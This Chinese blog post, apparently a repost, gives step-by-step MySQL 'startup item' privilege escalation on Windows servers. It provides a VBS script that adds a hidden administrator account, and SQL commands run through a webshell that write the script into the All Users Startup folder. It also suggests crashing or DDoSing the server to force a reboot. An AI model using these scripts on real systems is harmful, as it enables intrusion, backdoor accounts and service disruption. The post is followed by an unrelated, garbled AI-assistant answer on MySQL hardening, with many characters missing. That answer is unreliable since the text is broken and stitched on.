MySQL启动项提权

关于MySQL的启动项提权,听其名知其意。就是将一段 VBS脚本导入到  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 下,如果管理员重启了服务器,那么就会自动调用该脚本,并执行其中的用户添加及提权命令!

这里有两种思路:

1. 如果  C:\Documents and Settings\All Users\「开始」菜单\程序\启动 目录存在可读写的权限,那么我们可以直接将 VBS 提权脚本上传到该目录下!

VBS 提权脚本代码如下:

setwsnetwork=CreateObject(“WSCRIPT.NETWORK”)
os=”WinNT://”&wsnetwork.ComputerName
Set ob=GetObject(os)
Setoe=GetObject(os&”/Administrators,group”)
Set od=ob.Create(“user”,”secist”)
od.SetPassword “secist.com”
od.SetInfo
Set of=GetObject(os&“/secist”,user)
oe.add os&“/secist”

将以上代码保存为 .vbs 后缀的文件上传即可!

2. 通过大马的MySQL执行功能,利用SQL命令来进行VBS脚本的创建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

成功执行以上命令后,只要管理员重启了服务器,我们就可以成功提权了!

温馨提示:

1.关于重启目标服务器,我们可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务!

2.上传的目录必须具备可读写的权限!

3.调用的 cmd 也必须有足够的权限!

转载于:https://www.cnblogs.com/wh4am1/p/6613759.html

<think>好的,用户想知道如何通过命令行加固MySQL的启动配置。我需要根据供的引用内容来整理相关步骤。首先,用户到的引用[1]里到了降运行MySQL,使用普通用户mysql来运行服务。这可以通过修改my.cnf文件,添加user = mysql配置,然后重启服务。接下来,引用[2]和[4]都到了数据目录和安装目录的限控制,需要设置目录限为700,所属用户和组为mysql。然后,引用[3]到了pid文件的配置,确保其限属于mysql用户。此外,可能还需要检查basedir的限,确保只有DBA和数据库用户可访问。可能需要把这些步骤按顺序整理出来,确保每个步骤的命令正确,并且引用对应的来源。用户可能需要具体的命令示例,比如chmod和chown的使用,以及修改配置文件的具体位置。还要注意是否需要重启服务使配置生效。需要确保回答结构清晰,分步骤说明,并且每个步骤后面标注引用来源。</think>### 如何通过命令行加固 MySQL 启动配置? 以下是加固MySQL启动配置的具体步骤,分为**用户限控制**、**目录限管理**和**进程文件加固**三部分: --- #### 1. **以普通用户身份运行MySQL** 默认情况下,MySQL可能以root用户运行,存在安全风险。需修改配置,使其以专用用户(如`mysql`)运行: ```bash # 编辑MySQL配置文件 [root@localhost ~]# vim /usr/local/mysql/my.cnf # 添加或修改以下内容 user = mysql # 指定运行用户为mysql # 重启MySQL服务使配置生效 [root@localhost ~]# /etc/init.d/mysqld restart ``` 此操作将MySQL进程限从root降级为普通用户,减少漏洞的影响范围[^1]。 --- #### 2. **控制数据目录和安装目录限** MySQL的`datadir`(数据目录)和`basedir`(安装目录)需严格限制访问限: ```bash # 查看数据目录位置 mysql> show variables like 'datadir'; # 在终端加固数据目录限 [root@localhost ~]# chmod 700 <datadir> # 仅允许mysql用户读写 [root@localhost ~]# chown -R mysql:mysql <datadir> # 递归修改所属用户和组 # 同理加固安装目录 [root@localhost ~]# chmod 700 /usr/local/mysql/ [root@localhost ~]# chown -R mysql:mysql /usr/local/mysql/ ``` 通过限制目录限,防止未授用户访问或篡改数据库文件[^2][^4]。 --- #### 3. **加固PID文件限** MySQL的进程ID文件(`pid_file`)需确保所有限正确: ```bash # 检查pid文件路径(通常在my.cnf中配置) mysql> show variables like 'pid_file'; # 修改pid文件限 [root@localhost ~]# chown mysql:mysql /var/run/mysqld/mysqld.pid [root@localhost ~]# chmod 644 /var/run/mysqld/mysqld.pid # 若pid文件不存在,可通过重启服务生成 [root@localhost ~]# systemctl restart mysqld ``` 确保PID文件不被恶意用户篡改,避免服务启动异常[^3]。 --- ### 总结 通过上述步骤,MySQL启动配置的安全性将显著升: 1. 以低限用户运行服务 2. 限制关键目录的访问限 3. 控制进程文件的归属和限 完成后,建议使用`ps -ef | grep mysqld`验证进程运行用户,并通过`ls -l <datadir>`检查目录限是否合规。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值